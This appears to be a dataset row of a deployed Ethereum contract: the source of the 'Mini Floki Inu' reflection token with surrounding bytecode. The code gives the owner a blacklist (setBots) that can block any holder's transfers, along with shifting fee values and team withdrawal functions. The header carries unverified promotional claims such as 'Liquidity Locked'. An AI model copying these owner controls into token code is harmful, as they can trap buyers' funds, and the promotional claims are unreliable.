80156114245780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561145d578082015181840152602081019050611442565b50505050905090810190601f16801561148a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b600360009054906101000a900460ff1615611546573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d956038913960400191505060405180910390fd5b611562565b6001600360006101000a81548160ff0219169083151502179055505b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611c056037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561173c578082015181840152602081019050611721565b50505050905090810190601f1680156117695780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156117a2578082015181840152602081019050611787565b50505050905090810190601f1680156117cf5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156118aa57808201518184015260208101905061188f565b50505050905090810190601f1680156118d75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156119105780820151818401526020810190506118f5565b50505050905090810190601f16801561193d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b600360009054906101000a900460ff1681565b62278d0081565b61afc881565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611e896031913960400191505060405180910390fd5b61afc8811015611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611cb46034913960400191505060405180910390fd5b62278d00811115611abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611ce86038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60046020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820a603148f853a654ba4fea972115d6a2181e8e62e4e5dff0d953bd24592311fd264736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,475 |
0x96cef45f39e171b5a3b94098474619d8f8383b11 | // Mini Floki Inu
//CMC and CG application
//Liqudity Locked
//TG: https://t.me/MiniFlokiInu
//Website: MiniFlokiInu.com
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MiniFlokiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Mini Floki Inu | t.me/Miniflokiinu";
string private constant _symbol = "MFI";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000* 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 15;
uint256 private _teamFee = 1;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612eb4565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129d7565b610441565b6040516101789190612e99565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613056565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612988565b61046e565b6040516101e09190612e99565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128fa565b610547565b005b34801561021e57600080fd5b50610227610637565b60405161023491906130cb565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a54565b610640565b005b34801561027257600080fd5b5061027b6106f2565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128fa565b610764565b6040516102b19190613056565b60405180910390f35b3480156102c657600080fd5b506102cf6107b5565b005b3480156102dd57600080fd5b506102e6610908565b6040516102f39190612dcb565b60405180910390f35b34801561030857600080fd5b50610311610931565b60405161031e9190612eb4565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129d7565b61096e565b60405161035b9190612e99565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a13565b61098c565b005b34801561039957600080fd5b506103a2610adc565b005b3480156103b057600080fd5b506103b9610b56565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612aa6565b6110af565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061294c565b6111f6565b6040516104189190613056565b60405180910390f35b60606040518060600160405280602281526020016137b760229139905090565b600061045561044e61127d565b8484611285565b6001905092915050565b6000662386f26fc10000905090565b600061047b848484611450565b61053c8461048761127d565b6105378560405180606001604052806028815260200161378f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ed61127d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0f9092919063ffffffff16565b611285565b600190509392505050565b61054f61127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d390612f96565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064861127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cc90612f96565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073361127d565b73ffffffffffffffffffffffffffffffffffffffff161461075357600080fd5b600047905061076181611c73565b50565b60006107ae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6e565b9050919050565b6107bd61127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084190612f96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4d46490000000000000000000000000000000000000000000000000000000000815250905090565b600061098261097b61127d565b8484611450565b6001905092915050565b61099461127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612f96565b60405180910390fd5b60005b8151811015610ad8576001600a6000848481518110610a6c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad09061336c565b915050610a24565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1d61127d565b73ffffffffffffffffffffffffffffffffffffffff1614610b3d57600080fd5b6000610b4830610764565b9050610b5381611ddc565b50565b610b5e61127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be290612f96565b60405180910390fd5b600f60149054906101000a900460ff1615610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290613016565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000611285565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0f57600080fd5b505afa158015610d23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d479190612923565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da957600080fd5b505afa158015610dbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de19190612923565b6040518363ffffffff1660e01b8152600401610dfe929190612de6565b602060405180830381600087803b158015610e1857600080fd5b505af1158015610e2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e509190612923565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed930610764565b600080610ee4610908565b426040518863ffffffff1660e01b8152600401610f0696959493929190612e38565b6060604051808303818588803b158015610f1f57600080fd5b505af1158015610f33573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f589190612acf565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550662386f26fc100006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611059929190612e0f565b602060405180830381600087803b15801561107357600080fd5b505af1158015611087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ab9190612a7d565b5050565b6110b761127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b90612f96565b60405180910390fd5b60008111611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e90612f56565b60405180910390fd5b6111b460646111a683662386f26fc100006120d690919063ffffffff16565b61215190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111eb9190613056565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ec90612ff6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135c90612f16565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114439190613056565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790612fd6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790612ed6565b60405180910390fd5b60008111611573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156a90612fb6565b60405180910390fd5b61157b610908565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e957506115b9610908565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4c57600f60179054906101000a900460ff161561181c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176561127d565b73ffffffffffffffffffffffffffffffffffffffff1614806117db5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c361127d565b73ffffffffffffffffffffffffffffffffffffffff16145b61181a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181190613036565b60405180910390fd5b5b5b60105481111561182b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cf5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119835750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f15750600f60179054906101000a900460ff165b15611a925742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4157600080fd5b603c42611a4e919061318c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9d30610764565b9050600f60159054906101000a900460ff16158015611b0a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b225750600f60169054906101000a900460ff165b15611b4a57611b3081611ddc565b60004790506000811115611b4857611b4747611c73565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfd57600090505b611c098484848461219b565b50505050565b6000838311158290611c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4e9190612eb4565b60405180910390fd5b5060008385611c66919061326d565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc360028461215190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cee573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3f60